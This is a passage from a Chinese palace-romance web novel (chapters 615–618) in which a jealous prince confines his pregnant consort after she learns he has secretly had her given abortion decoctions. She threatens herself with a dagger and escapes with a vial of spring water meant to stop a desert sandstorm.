衣上云此刻似是就连说话的力气也没有了,一直轻轻地闭着眼睛,似是在昏睡。 见她不回应自己,轩辕翰似依旧还在生气地道:“这便是本王对你的惩罚!方才本王说了,这是你自找的,所以不要后悔!” 一室寂静。 不知过了多久,衣上云终于开口说了话:“殿下,不要再为难卫将军了,他所做的一切,只不过都是在依照我的安排行事而已。” 听到衣上云终于开了口,却还是在为别人求情,虽然生气,但他也不得不满足她的愿望,于是便扬声唤来帐外的守卫:“来人!” 守卫听闻里面召唤,即刻进来在屏风外等待领命:“殿下有何吩咐?!” 轩辕翰命令道:“去让卫宁不要再跪了。” “是!”守卫领命后,便即刻退了出去。 第六百一十五章:最后的机会 解决了眼下因受自己连累被责罚的卫宁的处境,亦让轩辕翰拿自己狠狠泄了愤。 衣上云方才挣脱开轩辕翰的怀抱,一边起身下榻来更衣,一边看了看自己身上布满遍体的痕迹。 然思来想去,却是怎么都不明白今日轩辕翰究竟为何如此反常的对她? 最后终还是忍不住,背对着其问:“殿下现在能否告诉云儿,到底云儿做错了什么?殿下要如此惩罚?” 忽闻她如此大煞风景,不合时宜的问题,轩辕翰一直落在其身上的温柔目光,不禁霎时间再次变得冷厉起来。 继而移开视线,似是在独自消化隐忍着道:“本王现在不想谈这件事!” 岂料衣上云却倏地回过头来,不以为然地说:“殿下为何不谈?这一切,究竟是为什么?就算是云儿真的做错了什么,殿下至少也该给我一个解释的机会吧?即便就是杀人,亦只不过头点地而已,殿下又为何如此折磨我?” 看到衣上云此时的态度如此坚决,轩辕翰思虑再三,终将心一横,暗暗下定了决心,坐起身来。 看着她的眼睛,道:“好,既然如此,那本王便最后再给你一次机会,你必须如实回答本王的问题。如果你的答案能令本王满意,本王便既往不咎,权当什么事都没有发生过……” 说完,心里犹豫了一下,又接着道:“可若你的回答,不能让本王满意的话……那……” 未及其将话说完,衣上云想都没想,便从从容容地抢着道:“云儿任凭殿下处罚,毫无怨言!” 闻此,俩人目光即刻俱都对视在了起来。 见她此刻如此坦荡荡,轩辕翰竟忽然真的有些怀疑起来,是不是自己真的错怪了她? 可事已至此,与其像过去许多次一样,每当亲耳从她的口中听到那个名字时候,每每都是只有自己独自胡乱揣测,倒不如今日彻底打消隔阂,以此来证实,和面对这一切。 思虑片刻,与其一拍即合,遂认真极了地道:“好,一言为定!” 继而,他稍稍整理情绪,开口道:“本王问你……魏明轩……是谁?……他与你有何关系?如今,你既已是本王的王妃,然只要你据实相告,本王可以当什么都没发生过!” 关于这个让自己只要一想起来便就嫉妒地发狂的人,轩辕翰曾在心里对他有过无数想象。 可无论是其中的哪一种,到最后他都觉得此人一定对衣上云极其重要。只有如此,才会让她那般的念念不忘。 一室寂静。 似是连俩人周围的空气亦都开始变得紧张起来,渐渐不能流动。 伴随着时间一分一秒的过去,轩辕翰早已紧张地悄悄握紧了拳头,静静等待着她的回答。 只见衣上云一袭白裙胜雪,亭亭玉立在那里一动不动。 却似是对于那个名字完全无动于衷,脸上不见一丝波澜。 许久后,终于再次将要开口说话:“殿下说的那人叫魏……” 岂料就在这时,轩辕翰竟却似又反悔了。 他觉得自己突然不敢再听下去了,急急伸出一只手去想要阻止她:“等等……” 过去的有些人,有些事。 冥冥之中,他就存在着,横在那里。 可是不是明知道他的存在,却只要无人提及,便就真的可以当他不存在了呢! 见轩辕翰已然犹豫不定起来,衣上云却渐渐似是猜到了些什么。 于是,不顾其阻拦,继续自顾自试探着说:“莫非殿下是在怀疑云儿与殿下口中所说的那个什么魏明轩……有什么……” 轩辕翰连连朝其扬声喝道:“不要说了,本王不准你再说下去……” 此刻,他的心里到底在害怕什么? 害怕事实真相一旦被摊开,自己便很有可能会永远失去她吗? 他当然不能容忍自己深爱的女人,心里还藏着别的男人。 可他又怎能承受得了失去她的事实! 一路能走到今天,他是那样的不易。 至此,衣上云也终于明白了过来。 可仔细一想,再想想,再仔细想想…… 显然,无论她怎么想,都无法在脑海中搜索到关于魏明轩这个人的,哪怕只是一点点信息提示。 于是,她坦坦荡荡地答道:“殿下说的这个魏明轩,我根本从来就不认识……” 闻此,轩辕翰顿将目光投向到衣上云的脸上。 此时此刻,他竟反倒愿意听她说是识得此人的。 如此,自己许久以来心中的疑惑倒也算彻底放下。 可眼前所见,虽是怎么看,都是一张从来对自己都毫无谎言的面孔。 “果然,直到现在,他还是要坚持维护那个人。从一开始到现在,她一直都在隐藏维护着他,隐藏至深,就连他的人都查不到关于他的任何信息。”轩辕翰心里依旧不相信。 一念至此,轩辕翰心情复杂极了。 然再无计可施,思量再三,终发出一阵沉声来道:“出去……立刻离开本王的营帐!” “殿下你究竟怎么了?我还有要事想与你商量……”衣上云似是还想继续再说些什么。 岂料轩辕翰竟再次冷冷地只丢了两个字给她:“出去!” 说完,便再不出声,也不看她。 不得已,衣上云见他情绪不对,自己一时又不知该如何替其排解,只能先退下去:“好,我出去……殿下辛苦了一夜,再好好歇歇吧。” 说完,便兀自转身想要离去。 就在这时,轩辕翰忽然似是又想起了什么,便又开口将她叫住:“等等……” “殿下还有什么事?”衣上云显然有些不高兴地问。 轩辕翰依旧冷冷地提醒她:“记得去找燕儿,把药喝了。” 说起这个药,人人都跟她说是上一次小产伤了根本,给她进补的,可她心里却总是怎么都隐隐觉得有点儿不对劲…… 来不及细想,衣上云只答应了一句道:“好,云儿知道了。” 说完,便提步走出了轩辕翰所在的营帐。 刚一出门,只觉又一阵恶心反胃向上袭来,忍不住连忙疾奔到一旁呕了好一阵儿,方才似是终于缓了过来。 最后一手轻抚着自己的胸口,一边回忆着道:“这感觉,怎么似曾相识,好像……” 话尚未说完,又打断思绪兀自摇起头来:“我这是在想什么呢?” 于是,便继续向前走了去。 这时,身后忽然传来一阵熟悉的声音:“王妃娘娘!” 衣上云止步回头,循声望去。 伴随着那人距离自己愈来愈近,衣上云道:“卫将军……是你……” 卫宁上前来朝其恭敬地抱拳行礼,致谢道:“多谢王妃娘娘向殿下求情,殿下方才饶恕了属下!” 一抬头,便看见衣上云脖颈上的好几处显眼极了的吻痕。 衣上云亦很快察觉到了他的目光停留,于是伸手赶忙遮了遮,脸上顿现出一抹绯红。 继而整理尴尬的心情,抱歉极了地说:“卫将军莫要这样说,这一切都是我的错。那天,我实在不该一声不吭地离开,害得大家为我而受累,我才最是过意不去。” “殿下一向自制力极强,又待娘娘很好,娘娘尚且还在病中,怎会忍心对娘娘做出如此粗暴的事?” 卫宁亦顿从自己难以置信的思绪中抽出,回过神来道:“保护王妃娘娘本就是属下份内之责,娘娘不必自责!” 衣上云微微笑了笑,转而问他:“对了,卫将军可知燕儿现在何处吗?” 卫宁放眼朝四周看了看,道:“燕儿……方才我还看到她就在这附近晃悠,这会儿是不是去殿下的帐里寻娘娘您了?要不,属下护送你回去?” 衣上云朝不远处那处军帐看了一眼,说:“不必了,我自己过去找她便可,你忙你的吧!” “是,那娘娘仔细自己的身子……”卫宁关切地道。 正准备抬脚,衣上云最后又提醒他说:“卫将军,眼下,这场特大沙暴提前到来已成定局。该做的我们都已经做了,剩下的,便就只能交给老天了。” 衣上云本还想着,轩辕翰的到来,恰是时候帮助自己派人一同从大漠中取回神泉之水来加固。 可现在,他已然都不给自己说话的机会,这全是因了一个莫名其妙的叫做魏明轩的人。 他到底是谁?怎么自己对这个人会一点儿记忆都没有? 一念至此,她实在难过失望又无助,遂嘱咐道:“你务必切记,在沙暴来临之前,务必将所有人一个不漏地全部转移到避难所里。无论如何,留着青山在,不怕没柴烧,人命最重要!” 然卫宁根本听不懂衣上云此时话里的意思,只道:“有娘娘和殿下在,相信觻县定能守住!” 衣上云只能无奈地对其笑笑,便转身离去。 很快,便回到了轩辕翰的营帐里。 “燕儿……” “燕儿……” “这丫头,究竟跑到哪里去了……” 然却四处并未找到燕儿的身影。 这时,她方才感觉到身上袭来的一阵阵痛楚,遂缓缓坐了下来,借着一面铜镜,仔细查看起身上的各种伤痕来。 第六百一十六章:你早就已经知道了? 这才发现,轩辕翰方才对自己竟是如此疯狂。 看着他深深留在自己脖颈、锁骨、又用手指轻轻挑开些许衣领,依稀可见以至于自己的胸前,暗藏里面的更多触目惊心的吻痕。 即便是现在只是看着,便已让她耳朵通红,脸上发烫,心跳加速地更是厉害。 再想想方才卫宁那般吃惊的眼神,衣上云此刻羞的只想找个洞钻进去。 于是赶忙拿起放在梳妆台上的脂粉,细心地掩盖了起来。 这时,方才轩辕翰似是矛盾极了的表情又一次浮现在她的眼前。 又想知道,又怕知道,衣上云便生气地道:“真是不明白你到底在怀疑什么?抽什么疯?心里到底想怎样?” 可是一静下心来,她却也是兀自陷入了沉思:“魏……明……轩……” 然终是觉得脑袋都快想破了,亦是什么都没想起来:“到底殿下是从何而知这个叫做魏明轩的人的,又为何我对他会一点儿记忆都没有?记忆……” 说起记忆,她忽然联想到自己脑海中平时那些莫名其妙,断断续续的记忆残片。 于是有些怀疑地道:“难道,这个魏明轩……亦与我失去的那段记忆有关?如此一来,是不是只要我找回了那段记忆,便就可以知道谁是魏明轩,亦可以向殿下证明我的清白,除去他心里的顾虑。” “还魂丹……” 这时,她忽然想到了一物,亦伴随着想起一个人来。 可却又很快陷入为难之中:“自打北烈国灭亡后,二皇子一向居无定所,我又能去哪里寻得到他呢?” 一想到如今的拓跋宏来,一种沉重的罪恶感涌上心头。 初见他时,一袭白衣飘飘,长剑在手,意气风发,英姿飒爽,风度翩翩。 若不是她再次出现在草原上,或许,北烈老国君尚还健在,即便拓跋泽再十恶不赦,亦会对其有所震慑。 而拓跋宏假以时日,再沉淀几年,兴许亦会是个很好的继承人。 然遇到了她,这一切都变了…… 一时间,似是无边的思绪如深海一般,在一寸一寸地渐渐将她吞没。 霎时,一阵疾风呼啸而过。 传来门外一守卫紧急的声音:“快点来人,加强防守!” 这才将衣上云顿拉回现实中。 定了定神,衣上云细细打量了一番镜中的自己,见着也遮盖的差不多了,于是便道:“算了,多想无益,我还是先好好想想眼前,到底有什么办法,可以将神泉之水引到这里来吧!” “来人……来人……快来人……” 听闻外面又一阵嘈杂,衣上云的思绪终被其打断,疑惑地道:“外面到底发生了什么?” 于是,她赶忙放下手里的脂粉,起身走了出去。 出门一看,竟然头顶上方才还好好的一片青天白日,此时天边远远地已开始渐渐暗了下来。 周围的风亦愈来愈大,夹杂着被吹起的沙尘之间碰撞所发出的响声,像是要将这帐篷连根拔起,又似快将自己单薄的身子欲要吹倒一般,风沙拍到她的脸上,生生地疼。 放眼军营里,到处都是在加固军帐等设施的身影。 她伸手理了理被风吹的凌乱不堪的头发,心里隐隐有一种极不好的预感涌上心头:“看这天,莫非它真的要来了……” 衣上云再也按讷不住心里的着急:“不行,我必须再做些什么,不能这样坐以待毙。” 忘了早已被人从里到外俱都换掉了一身衣裙的她,心急之下,赶忙在身上胡乱摸来摸去了起来。 可显然,摸了半天,她怎么都没找到自己想要的东西,她那唯独所剩的一支盛有神泉之水的玉色小瓷瓶。 遂心里纳闷地道:“怎么会不在身上?难道是燕儿在为我换衣服的时候拿去收起来了?” 于是她更着急了起来,有些生气地道:“这个燕儿,今天到底是怎么回事,究竟跑到哪里去了?怎么到现在了还不回来?” 眼看着一场难以预料其威力的特大沙暴即将马上到来,衣上云顿陷紧张担心极了:“沙暴的形成因素,只要阻断其中一条便就能被破坏。神泉之水的力量不可小觑,可没有殿下的帮忙,我一人定是做不到的。也不知他现在消气了没有,或许,我应该再去试试。” 一念至此,她什么都来不及思考了,一边朝轩辕翰所在的军帐过去,一边豁出去了地道:“不管了,死就死吧!” 而此时,在轩辕翰的军帐里。 燕儿在外面小心翼翼地窥探了许久,直至再不见任何人进出营帐,方才怯怯地朝其走了过去。 压低声音对帐外的守卫道:“麻烦请帮我通报一声,就说王妃娘娘的婢女燕儿有要事要求见王爷!” 很快,守卫便将其带到了轩辕翰的面前。 待其退去,燕儿方才朝其行礼开口道:“燕儿参见秦王殿下!” 轩辕翰并未看她,此时正努力压制自己的情绪,故作气定神闲地将目光注视在面前案几上,铺着的一张觻县及其周边大漠深处的地图上。 见其进帐来,便问道:“你来见本王有何要事?” 即便此时,燕儿心里依旧尚还存有一丝犹豫:“启禀殿下,我家小姐……小姐……她……她……” 余光见她紧紧攥着衣角,吞吞吐吐地,轩辕翰顿提高声音,似是有些不耐烦地道:“她又怎么了?” 或许因为实在胆小,又许是因为事态严重,燕儿被吓得终还是乍出一句:“小姐她好像有身孕了?” 闻此,轩辕翰终于猛的抬起头来,望向她的脸,恍若晴天霹雳一般被惊呆了:“你说什么?” 燕儿回忆着说:“小姐近日总是频频作呕,且已有两月身上未行月信。小姐怕是……怕是……又有孕了!” 轩辕翰一听,顿似是想起了什么,赶忙起身来朝帐外走去。 燕儿亦疾步跟上。 轩辕翰一出门,便径直气势汹汹地朝着军医所在的营帐里进去。 那替衣上云把脉的军医一见其进来,便赶忙放下手里正捻着的几株药草,朝其极为恭敬地跪地行礼:“属下参加殿下!” “你还当真是个庸医,竟连王妃已有身孕了你也把不出来?”轩辕翰俯身下去,一把提住他的领子,冷冷地质问其道。 岂料那军医却似忽然明白了什么似的,反而高兴地道:“什么?王妃娘娘真的有孕了?” 轩辕翰一见,疑惑地问道:“怎么?莫非你早就已经知道了?” 军医道:“属下在王妃娘娘昏迷时替其把脉的时候,的确发现王妃娘娘的脉象似是隐隐有些不对。然的确是因为胎儿月份实在太小,娘娘人又昏迷着,不得问,所以属下不敢确定。也正是因为怕她真的有孕在身,方才许多特效药都不敢下,所以王妃娘娘才会醒来的比较慢。” 刹那间,轩辕翰怔在那里,似是都有点儿反应不过来,只后悔极了自己对衣上云所做的一切,遂一把丢开了那军医。 转而对她俩人一起责怪说:“为何你们都不早点告诉本王?” 不知究竟发生了什么,他为何如此说,燕儿与军医俩人皆都不明白地面面相觑了起来着。 轩辕翰回了挥手,军医便退了下去,只留下燕儿一人在里面。 沉默了许久,轩辕翰责怪起她来,问:“本王不是命你每次都给她服药了吗?又怎么会……” 燕儿想了许久,亦是想不明白,只是隐隐有一点点怀疑,说:“燕儿的确每次都按照殿下的吩咐,给小姐送了药汤,并亲眼看她服下方才离开。” 轩辕翰亦不明白了:“那她怎么还会再次有孕……” 燕儿隧一路将回忆倒退到衣上云此次离开秦王府前往觻县的那晚,道:“难不成……是那次……” 轩辕翰问:“哪次?” 燕儿道:“莫非是小姐来觻县的前一晚……” 轩辕翰惊声道:“那次你为何没给她服药?” 燕儿摇了摇头,说:“并不是这样,那次我也将药汤同往日一样端给小姐了,可……只有那次,我并没有亲眼看着小姐将药喝下去。” 千防万防,却始终还是功亏一篑,轩辕翰气愤不已。 燕儿亦自责极了地道:“那现在该怎么办?” 轩辕翰思索再三,最后沉声道:“照着上次的方子,再准备一碗落子汤,然后来找本王……” 燕儿一听,顿大惊失色地拒绝道:“不可以……乐太医之前说过,小姐本就体弱,上次小产又感了严重的风寒,以后若是再服用此药,怕是就再也无法受孕了!” 燕儿所说的一切,轩辕翰又岂会不知。 此时他的心都在滴血,谁能接受自己亲手扼杀自己的两个亲生骨肉,可他又能怎样,对于他而言,没有什么比衣上云的性命更重要。 过了会儿,燕儿开口建议说:“我们是不是也该问问小姐的意见?” “不必!”经过一番痛苦的挣扎后,最后在心里下定了决心,轩辕翰便迈开脚步要出去。 岂料刚一掀开帐帘,便看到了…… 第六百一十七章:和离,你怎么敢? 轩辕翰刚一掀开帐帘,竟看到了衣上云就怔怔地立在他面前。 遂驻足惊谔极了地道:“你……你什么时候来的?” 显然,已在帐外听到里面一切的衣上云,此刻亦是同样简直不敢相信自己的耳朵。 遂愣了会儿,方才开口说:“就在我看见燕儿紧随秦王殿下身后,急急朝着这里过来的时候,便就亦跟过来了。” 衣上云说着,便抬脚兀自走了进去。 瞥了一眼显然至今还惊魂未定着,愣在一边的燕儿。 强压着心头的怒火,朝身后俩人再次确认:“方才你们在说什么药,你们想要给我吃什么?一次竟还不够,还想再次害我孩儿的性命?” 然终于还是没能控制住情绪,说完这句话的时候,似是气的就连她整个人都在发抖。 可一旁的轩辕翰心里又何曾好受,听着衣上云这些撕心裂肺的话,亦早已紧紧咬住了牙关。 闻声,燕儿方才赶忙回过神来,疾步近身过去。 一看到自己刚刚所听到的声音真的是她,整个人霎时间都惊呆了,赶忙拽住她的胳膊想要解释:“不是的……小姐……” 闻声,衣上云忽然从未如此这般认真地看向燕儿的脸,一时间,竟吓得燕儿连话都不敢说了。 衣上云问她:“燕儿……你真的是燕儿?你还是我的燕儿吗?” “小姐……我……”燕儿百口莫辩,似是为难极了,又想要解释些什么。 衣上云却已失望的不再给她机会,兀自移走目光又到眼前让自己彻底对其绝望的男人身上。 此时此刻,她心里难过极了。 那个曾经口口声声说要契约她生生世世,自己不顾一切这般爱着的男人,却在一次又一次地欺骗自己,伤害自己。 她甚至都不想与他再多说一句话,对于自己心中的疑虑,也终于明白了过来:“果然,我的怀疑没有错,你们给我每次所服用的汤药真的有问题。既然如此,我就不妨告诉你们,关于你们心中的疑惑。” 衣上云扬起头来,不再看他,亦毫不介意地坦言相告说:“没错,来觻县前的那次,燕儿端给我的汤药,我……我拿来浇王府的海棠花了。” 就在轩辕翰与燕儿听了她的话,俱都为之惊诧不已的时候,衣上云却忽然摊开一只手来到燕儿的面前:“拿来……” 燕儿不明所以地问:“小姐是要什么?” 衣上云将眼睛微微闭起,似是在思考着做什么颇为为难的决定。 片刻后复又睁开,继而说道:“你我主仆,缘份已尽。以后不要再叫我小姐。” 听了这句话,燕儿紧忙扑通一声跪了下去,牢牢拽住衣上云的裙角,哭着朝她祈求:“小姐,你在说什么呢?你怎么能不要燕儿,你不能不要燕儿啊……燕儿错了,燕儿知道错了,小姐你饶了燕儿这次吧,燕儿以后再也不敢了。” 衣上云实在无法容忍与自己相伴多年,心心相惜的燕儿,竟然背着自己伙同其他人一起欺骗她。 她此刻一点儿也不想与其纠缠,只想拿回属于自己的东西,眼前这两个人,她一个都不想看见。 于是,继续将手朝其伸过去:“不要再说了,快把我的东西还给我。” 燕儿早已哭的稀里哗啦,却依旧不明白她到底要什么:“什么……” 衣上云道:“就是我从沙漠里带回的那只玉色的小瓷瓶,赶快把它还给我。” 燕儿听了仔细想了想,最后一边抽泣着,一边纳闷地道:“小姐在说什么玉色的小瓷瓶,燕儿根本从未见过。” 此时耳边所传来外面的风声明显已越来越大,伴随着衣上云心里也越来越焦急,于是催促着说:“怎么不是你?一定是你在我昏迷的时候帮我更衣时……” 忽看到燕儿一直对自己摇着头不肯承认,衣上云心里忽然意识到:“燕儿什么都不知道,她没有理由不将那只瓶子还给我……难道……莫非小瓷瓶真的不在她那儿?我明明特意将它保护得极好,根本不可能丢的。可如果不在燕儿那里,又会被谁拿走了?” 这时,她又将目光注视到轩辕翰的身上。 见他一直沉默着立在一旁,衣上云忽然怀疑起他来:“难道,是他拿的?” 一念至此,她又走到轩辕翰的面前去,朝其索要起来:“还我……” 轩辕翰亦是佯装不解地沉声问:“什么?” 衣上云道:“一支玉色的瓷瓶,是不是你拿走了?” 听到她一提起小瓷瓶,轩辕翰心里早已升起一抹极不好的预感,她一定是又要做什么危险的事情。 于是面对她的质问,反而紧紧凝视着她的眼睛,问:“你到底想做什么?” 那深邃的眼眸,似是缓缓地,缓缓地,要将自己整个人都吸进去一般。 衣上云赶紧将其避开,态度却是更为坚定地道:“从现在开始,我做任何事,都与殿下无关。如果殿下不高兴,我们也可以和离。” 又一次听到从她口中这般容易的便说出和离二字来,轩辕翰怒不可遏地瞪大了眼睛,喝斥她:“你是不是疯了,你知不知道自己在说什么?” 然衣上云却似肯定极了地说:“不,我一点儿也没疯,而且非常清醒!你根本就是个大骗子……” 可无论她怎么说,亦或怎么想。 这辈子,轩辕翰怎么可能放过她。 一气之下,立即喝令引来外面的侍卫,道:“来人!” 即刻,两名侍卫便进门来。 轩辕翰对其命令道:“把王妃带回本王的军帐里严加看管,没有本王的命令,谁都不准探视,亦不许其踏出来一步。” 侍卫得令便紧忙驾着她离开,衣上云一边在其手里奋力挣扎着,一边气愤不已地道:“不,你不能这么对我,轩辕翰,你有什么资格把我关起来。不可以,不可以……” “小姐,小姐……” “秦王殿下,秦王殿下,求殿下饶了小姐吧?”见此,燕儿急忙起身来,手忙脚乱地奔向衣上云被带走的方向,又回来着急地哭着向轩辕翰求饶。 见轩辕翰丝毫不被其动摇,燕儿最后只能无奈地赶忙追着衣上云而去。 所有人散去,一室寂静。 轩辕翰双手附后,紧紧握起暗藏着的一双拳头来,狠狠地道:“想与本王和离,你怎么敢?” 是夜。 帐内,一盏昏黄的烛火照耀下,轩辕翰愈想愈是生气,忽地将一拳,重重地砸在了面前的案几上。 “都已经有了身孕了,她竟然还想着再去做那样危险的事情?” 吓得身旁的卫宁不禁心里颤了一下,却也为难地说道:“那该怎么办?王妃娘娘说,那或许是阻断沙暴袭击觻县唯一的方法了!” 轩辕翰想了想,问:“皇上派下来的人,至今都还未到吗?” 卫宁脸上浮起一丝犹豫,缓缓摇了摇头,答道:“没有!” 闻声,轩辕翰眉头皱起,稍一思索,忽道:“准备一队人马,本王明日亲自去漠北。” 前几日带人应对凶狠狼群的情景尚还历历在目,卫宁听了担忧极了地道:“殿下亲自去漠北,这太危险了!” 轩辕翰却沉声说:“只要她好好的,本王做什么都可以!” 卫宁欣慰地说:“王妃娘娘要是知道殿下对她如此上心,一定不会再这样与殿下闹的。” 轩辕翰没有说话,他与衣上云之间的隔阂,只有他自己最清楚。 过了会儿,似又想起了什么,再次开口道:“对了,觻县府衙那边怎么样了?还是调不来人配合救灾吗?” 卫宁想了想,朝其禀告道:“觻县府衙上次的确亦受到了沙暴的影响,但倒也不像传说中的那么严重。听说殿下已亲临救灾,王充将军下午便已经带人来支援了。” “王充?”搜索记忆,轩辕翰问:“可是上次沙暴袭击觻县的时候,配合我们的人打开城门,方才使一部分灾民逃出去的那位将军?” “正是。”卫宁道。 轩辕翰欣慰地道:“他倒也算是个有气节的人,总算觻县还是有救的。” 卫宁亦高兴地道:“这次经过王妃娘娘在此的尽心治理,觻县百姓们皆对殿下与娘娘感激不尽,娘娘这次可是帮助殿下赢得了不少民心呢!” 可只有轩辕翰自己心里清楚,他哪里需要一个女人帮他挣民心。 他只想她日日能守着自己,足矣! 可她偏偏不是那样的女子。 然她若是那样规规矩矩的女子,或许自己也未必会心悦与她! 一念至此,轩辕翰长长地舒了口气,道:“好了,天色不早了,你先下去歇着吧,明日还有更重要的事要办。” 然卫宁却道:“那殿下您呢?真不去看看王妃吗?” “多事!” 果然,多嘴终是被训斥了一番,最后只得灰溜溜地退了出去。 一想起衣上云来,轩辕翰竟也再无计可施了。 千叮咛,万嘱咐,千防万防,他还是让她再次有了身孕。 是的,这不是她的错。 可是,这次,他到底该怎么办? 若是再用一次落子汤,衣上云往后余生将再也不会有自己的孩子。 看她方才激动的样子,如果他真这么做了,他定这辈子都不会再原谅的。 可如果不这么做,结局一定是母子俱损,他所不能承受的结果。 想着想着,他忽然觉得似是陷在里面都不能呼吸。 听着帐外的狂风怒吼声,他默默地起身来,移步走了出去…… 第六百一十八章:最后的筹码 夜里,大风呼呼的刮着,卷起地上一层层尘土,天地之间陷入一片混沌之中。 听着外面狂风呼啸的声音,衣上云在帐内心神不宁极了地来回踱着步。 “怎么办,怎么办,没有时间了?” 就在这时,耳畔终于传来一阵脚步声。 衣上云顿满脸期待地望向门口。 原是燕儿双手捧着一食盘进来送饭:“小姐!” 衣上云至今尚都未消气,见其进来朝自己打招呼,亦还是没有理会她,兀自赶忙收回视线去昂起头乱看一通。 燕儿见她对自己不理不睬,虽亦略显尴尬,然很快便像依旧什么事都没发生过一样。 依然如同往日一般笑着,饶有兴致地对其介绍说:“小姐快看,这些都是秦王殿下特地命人给你准备的,都是小姐平日里爱吃的。” 燕儿说着,一一将食盘里的食物端了出来摆在帐内的食案上:“比如这碗红枣银耳花生羹,还有这个汤汁浓郁,外皮松软,馅料鲜美的灌汤包,还有……” 霎时间,帐内到处一片香气四溢。 怎料燕儿好不容易鼓起勇气来,却是话刚开口,便被衣上云无情地挡了回去:“我不吃,你拿回去吧!” 闻此,燕儿脸上的笑容终于再也挂不住了,渐渐将其卸去,走到衣上云的身旁,问道:“小姐,你是不是还在生燕儿的气?” 衣上云斜了斜身子,侧对着她,生气地说:“如今秦王殿下才是你的主子,他让你做什么你便做什么,他让你怎么做你便怎样做?即便就是我的性命,亦都被死死拿捏在你的手上,我哪里还敢生你的气?” 闻此,燕儿心里一急,扑通一下便跪倒在了衣上云的面前,紧紧拉着她的胳膊,说:“小姐,你真的错怪燕儿了。” “我错怪你?”衣上云甚觉不可思议地低头看向她的脸。 顿了顿,又问她:“那我问你,如果今日不是我亲自撞见,听到了你们的对话,是不是那碗落子汤,你们早就已经端到了我的面前。还准备诓骗我说,那是有助于我恢复身子的药方,让我心甘情愿地服下,对吗?!” “我……我……”正如衣上云所说,燕儿的确对此无法辩驳。 遂心下里想了一阵,说:“燕儿不知道该如何同小姐解释,可是请小姐务必相信燕儿,我们所做的一切,真的都是对小姐最好的结果。” 衣上云只觉得她这番话好笑至极,不禁笑问她:“都是对我最好的结果?” 燕儿点点头。 衣上云冷笑了一声,继而顿扬起声来道:“你们口中所谓的对我最好的结果,就是一而再地伤害我腹中的孩子?!” 打从得知衣上云这辈子都无法正常地有孕生子,燕儿的心里其实也很难过。 她怎会不知,孩子对于一个女人来说是多么的重要? 即便只是在小小的一个城西衣府,母凭子贵,便已经被表现得淋漓尽致。 而更何况,衣上云所嫁之人,乃是西秦国一人之下万人之上,位高权重的秦王。 一年,两年,三年。 或许秦王还会对她宠爱有加,可往后的岁月悠长,充满了太多太大的变数。 如果到了那时,衣上云又能依靠谁呢? 一念至此,燕儿更加伤心难过极了地说:“可老爷和乐太医都已经断定,即便不用落子汤,这个孩子,随着他在小姐的肚子里越长越大。到最后,小姐也是保不住的呀。” 这时,衣上云再也忍不住,泪水瞬间模糊了双眼,遂将眼睛闭了一瞬,很快复又再次睁开来。 她要怪老天不公吗? 不,她不能,显然,这也没有丝毫用处。 既然不能怪老天,那她便只能鼓起勇气与老天争一争。 或许不到最后一刻,谁都不能预见未来。 于是,她振奋起精神来,愤愤的说:“凭什么?凭什么我的孩子,反却要别人来决定他的生死,他们又怎知我就一定保不住……” 就在这时,从帐外传来一阵冷厉的声音:“别人的确不能决定,但本王能……” 看到帐帘被人掀开,轩辕翰夺门而进。 衣上云顿将一只手捂在腹部,脚下紧忙退了两步,像是对其很是恐惧,眼里对他升起一丝祈求:“不要,求你不要,不要伤害我的孩子……” 见她此时无助,又令人怜惜的模样。 轩辕翰这才意识到她定是受了惊吓,于是忽然变得温柔了一些下来,伸出两只骨节分明的大手去,搭在她的肩上。 柔声对其说:“云儿,都是本王不好,没有保护好你。不要再坚持了,好吗?难道,你非要等到母子俱损的那一天吗?” 闻此,衣上云一把将他的手打掉,非常坚持肯定地说:“是……我就是要等到那一天。我一定要看看,我与那孩子,是不是这辈子真的没有缘份。” 霎时,两行伤心的热泪滚落脸庞,衣上云自己伸手将其抹掉,继续道:“到了那时,如果真的是我们没有缘份,我无话可说,可如果我的孩子一定要来,谁都挡不住……你也不能!” 说完这句话的时候,衣上云坚定地看向轩辕翰的眼睛。 看着她的信念如此坚定,轩辕翰心疼极了。 可他哪里舍得她陷入哪怕是一丝丝的危险之中,遂一回过神来,态度更是无比坚定的说:“本王绝不允许你冒这个险。” 闻声,衣上云忽觉眼前一黑,脚下踉踉跄跄地似是要跌倒。 轩辕翰一看到,便紧忙朝其近身了两步过去,着急地伸手想要将她扶住,叫了一声:“云儿……” 而衣上云却很快定住了脚步,伸出一手将他挡在面前,并未让其靠近:“不要过来……” 这时,燕儿方才禀报说:“小姐今日一直到现在都不吃不喝,这样下去怕是会出事的。” 衣上云却依旧固执地说:“我没事,不用你管。” 就在俩人的谈话看着已然陷入僵局时,不知为何,衣上云的语气忽然软了下来。 却是更加极其认真地说:“殿下,我们好好谈谈吧!” 轩辕翰当然知道她想说什么,可她想说的,未必是自己愿意听的。 于是道:“如果还是关于这个孩子的话,就不必再谈了。更何况,你又有什么筹码与本王谈?” 衣上云想了一瞬,最后缓缓道:“我有……” 说着,便从身上摸出轩辕翰给自己的那把龙凤短剑来。 倏地拔出剑鞘,将剑尖袛在了自己的脖颈上。 见此,轩辕翰与燕儿顿齐声发出一阵惊慌的声音来。 “你想干什么?” “小姐……” 衣上云冷冷地说:“我还有这条命!这是我最后的筹码!” 闻此,轩辕翰顿时惊谔极了。 思虑片刻,想要劝她,却又不知从何开口,于是道:“你可还记得,之前在宫里,为了玥儿的亲事。那时,你的命,便就已经是本王的了!” 衣上云摇摇头,不以为然地说:“不,我的命一直都是我自己的。殿下,放了我吧……” 眼看着衣上云所袛着的脖颈处已经在慢慢渗出血来,轩辕翰心里害怕极了,道:“不,云儿,快放下……” 然衣上云不但没有将剑放下,反而袛得更紧了一些。 她对轩辕翰说:“我知道,只要我还在你的身边,这个孩子便会一直有危险……” 轩辕翰赶忙发誓道:“不,不会的,本王发誓,本王再也不会逼你了……” 就在这时,衣上云忽然看到轩辕翰的目光扫了一眼她身旁架子上的一只黑色匣子,于是她在心里默默地道:“莫非……” 来不及思考,她飞快地用另一只手忽地将那只黑色匣子的盖子揭了开来。 顿时,自己那只遗失的玉色小瓷瓶便终于再次现出在她的面前。 “不要……” 伴随着轩辕翰发出一阵祈求般的声音同时,衣上云一把将其从匣子里夺了过来,紧紧握在自己手里,道:“果然是你!” “小姐,快把剑放下……”一旁的燕儿早已吓得瘫倒在地上,哭成个泪人。 而衣上云则徐徐挪动脚步,朝着门口转移去。 就在所有人的目光俱都追随着短剑的时候,衣上云忽地一把将那只短剑丢在了地上,乘其不备,就这样跑了出去。 一步都不敢停下。 不记得自己已经跑了多久,多远。 直到感觉精疲力尽,实在跑不动了,衣上云方才缓缓止住了步伐。 